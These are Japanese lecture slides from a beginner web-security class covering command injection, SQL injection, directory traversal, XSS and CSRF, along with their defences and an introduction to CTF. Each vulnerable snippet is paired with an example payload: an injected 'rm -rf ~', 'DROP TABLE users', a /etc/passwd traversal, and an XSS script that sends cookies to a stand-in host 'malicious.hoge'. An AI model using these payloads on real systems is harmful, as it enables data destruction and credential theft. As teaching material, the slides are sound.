Web

2019-09-08 TSG 初心者分科会 Web特講 第3回

@hakatashi

第3回 WebセキュリティとCTF

自己紹介

  • 博多市(@hakatashi)
  • 自称フロントエンドエンジニア
  •  

Agenda

  • Webセキュリティとは
  • Web脆弱性
  • CTF
  • 実習

脆弱性とは

アプリケーションソフトウェアのバグのうち、
個人情報の漏洩やサーバーの破壊など、
悪意あるユーザーによって深刻な
被害を受ける可能性があるようなもの

Webセキュリティとは

Webアプリケーションの脆弱性による被害を
様々な手法を用いて可能な限り防ぐこと

Webセキュリティの難しさ

  • Webの世界の複雑性が向上するにつれ、
    脆弱性につながるような機能、実装が増えていった。
  • また、モジュールシステムの普及によって、
    サードパーティのライブラリを使用する機会も増えた。
  • 脆弱性やバグを完全に無くすには、
    これらのコードや仕組を完全に把握しないといけないが、
    それは実質的に不可能。

Webの世界の脆弱性に対処する

  • これらの問題に対処するため、
    世の中には多くの対策方法が普及している。
  • そのうちの一つが脆弱性の「パターン化」
    • 現実に発生する脆弱性には、一定の類型や
      パターンが存在する。
    • これらを項目ごとに意識してチェックすることで
      脆弱性への対策が容易になる。

OSコマンドインジェクション

  • アプリケーション上でコマンドを実行している部分をハックすることにより、
    Webサーバー上でOSコマンドを不正に実行される脆弱性
    • やばいね
  • 対策: そもそもWebサーバー上でコマンドを実行しない
    • 実行する場合もなるべくユーザー入力をコマンドライン引数に与えない
      • 一般に入力はファイルなどを経由して渡したほうが安全な場合が多い
    • どうしても与える場合は入念にサニタイズする
def show
  @content = `ls "#{params[:page]}"`
end

# /show?page=%2F%22%20%26%26%20rm%20-rf%20~%20%26%26%20echo%20%22
# => `ls "/" && rm -rf ~ && echo ""`

SQLインジェクション

  • アプリケーション上でSQLを実行している部分をハックすることにより、
    Webサーバー上でSQL文を不正に実行される脆弱性
    • パスワードなど秘匿情報の漏洩、データの破壊などが可能
  • 対策: SQL文に入力値を与える場合は適切なエスケープを行う
    • SQLライブラリにはプレースホルダなどを用いたエスケープが
      標準で実装されているのが一般的
    • 可能ならばORマッパーなどを利用したほうが安全な場合が多い 
def show
  @record = db.query(
    "SELECT * FROM users WHERE name = '#{params[:name]}'"
  )
end

# /show?name='%3B%20DROP%20TABLE%20users%3B%20--%20
# => SELECT * FROM users WHERE name = ''; DROP TABLE users; -- '

ディレクトリトラバーサル

  • ディレクトリを不正に辿らせるリクエストを送ることにより
    サーバー上の本来読めないはずのファイルを読み取る脆弱性
  • 対策: そもそもユーザー入力をパス名に与えない
    • どうしても与える場合、
      パスの正規化などを通してアクセスしていいファイルかどうか
      適切に検証を行ってから操作を行う
    • ブラックリストによる検証はなるべく避ける
def show
  @content = File.read('pages/#{params[:page]}')
end

# /show?page=../../../../etc/passwd
# => File.read('pages/../../../../etc/passwd')

Cross-Site Scripting (XSS)

  • レスポンスのHTMLの生成時に不正なタグを挿入することにより
    任意のJavaScriptコードを実行させられる脆弱性
  • 仮にscriptタグを挿入された場合、挿入されたJSが実行されるのは
    あくまで攻撃ペイロードを送信したコンピューターのブラウザ
    • →何も問題ない?
<p>
  Hello <?= $_GET["name"] ?>!
</p>

# /?name=%3Cscript%3Ewindow.close()%3C%2Fscript%3E
<p>
  Hello <script>window.close()</script>!
</p>

XSS

  • 「細工した」URLに他の人を誘導することにより
    任意のスクリプトを実行させることが可能
    • 特に<iframe>などを用いれば、攻撃対象のサイトに
      直接アクセスさせなくてもクロスサイト攻撃させることができる
  • 反射型XSS (Reflected XSS)
    • URLパラメータなどの入力が即座にその応答にXSSとして反映されるもの
  • 蓄積型XSS (Stored XSS)
    • 一旦DBなどに保存された攻撃ペイロードが
      別のページを表示するときにXSSとなるもの
  • DOM-based XSS
    • ウェブページのJavaScriptコードの挙動をハックして
      不正なDOMを動的に挿入させるもの
<p>
  Hello <script>
    location.href = 'http://malicious.hoge/?' + document.body.innerHTML;
    location.href = 'http://malicious.hoge/?' + document.cookie;
  </script>!
</p>

XSS対策

  • テンプレートに値を埋め込む際は必ずエスケープする
    • ユーザー入力とかに関わらず、全て行うこと
  • 最近のWebフレームワークだと自動でやってくれる場合が多い
    • ただし、URLの埋め込みや DOM-based XSS には引き続き要注意
# Railsテンプレートの場合
<p>
  Hello <%= params[:name] %>!
</p>

# /?name=%3Cscript%3Ewindow.close()%3C%2Fscript%3E
<p>
  Hello &lt;script&gt;window.close()&lt;/script&gt;!
</p>

Cross-Site Request Forgery (CSRF)

  • 攻撃用のウェブサイトからサイトを横断してアクセスさせることにより
    攻撃対象のサイトに対しユーザーの意図しない操作を加えさせる脆弱性
    • アクセスさせる具体的な手段は<iframe>、<img>、XHRなど
  • DB上のアイテムの取得、削除、出金、送金など、
    場合によっては深刻な被害を蒙りうる

CSRFとXSSについて | 酒と涙とRubyとRailsと

CSRFと同一オリジンポリシー

  • かつてのウェブブラウザは無法地帯だったが、
    現在ではこのようなクロスサイトでのリクエストは
    そもそもブラウザによって発行できないようになっている。
    • これを同一オリジンポリシーと呼ぶ
  • ただし、一部の例外を除く
    • iframe, img, script, CORS など
    • この一部の例外が非常に厄介

CSRF対策

  • CSRF対策は非常に難しい
    • CSRFトークンを発行する
      • ウェブページに最初にアクセスしたときに
        ランダムな文字列を生成しHTMLに含ませる
      • その後のリクエストにその文字列を含めさせ、
        正規のリクエストかどうか検証する
      • 一般にクロスサイトでのリクエストではレスポンスの
        内容を取得できないため安全
    • データベースに変更を加えるエンドポイントには
      GETではなくPOSTを使用する
      • 一般にクロスサイトでのリクエストではPOSTを
        発行できないため安全
    • リファラを検証する
  • Railsなど一部のフレームワークでは自動で対策してくれる

Webの脆弱性対策まとめ

  • 最新の脆弱性情報に目を光らせる
  • なるべく低レイヤーなコードを書かず、
    適切なフレームワークの利用を推進する
  • 攻撃が発生しても被害が最小限になるよう、
    サーバーに与える権限はなるべく最小限のものにする
  • ファイアウォールを適切に設定する
  • HTTPSを使用する

CTF

CTF

  • これまでの脆弱性対策とは打ってかわって、
    攻撃する側の立場に立って実際にサイバー攻撃を行い、
    成功すればフラグという文字列が得られ
    得点が得られる競技
  • 特にWebジャンルの問題では、
    Webアプリケーションにおける典型的な脆弱性を
    題材とした問題が出題されることが多い

CTF

  • CTFでは、脆弱性が存在することを示すだけでなく、
    それを実際に発火させてフラグを取得するような
    細かな技術が必要になってくる
    • Blind SQLi とか CSS Injection とか⋯⋯
    • ここが一般のセキュリティ対策とは異なる点
  • CTFで強くなるにはWebのあらゆる技術に精通する
    一方で、世の中で使われているCTF的テクニックや
    ​最新の攻撃手法などを学ぶ必要がある
    • とてもむずかしい

実習

おわり

Made with Slides.com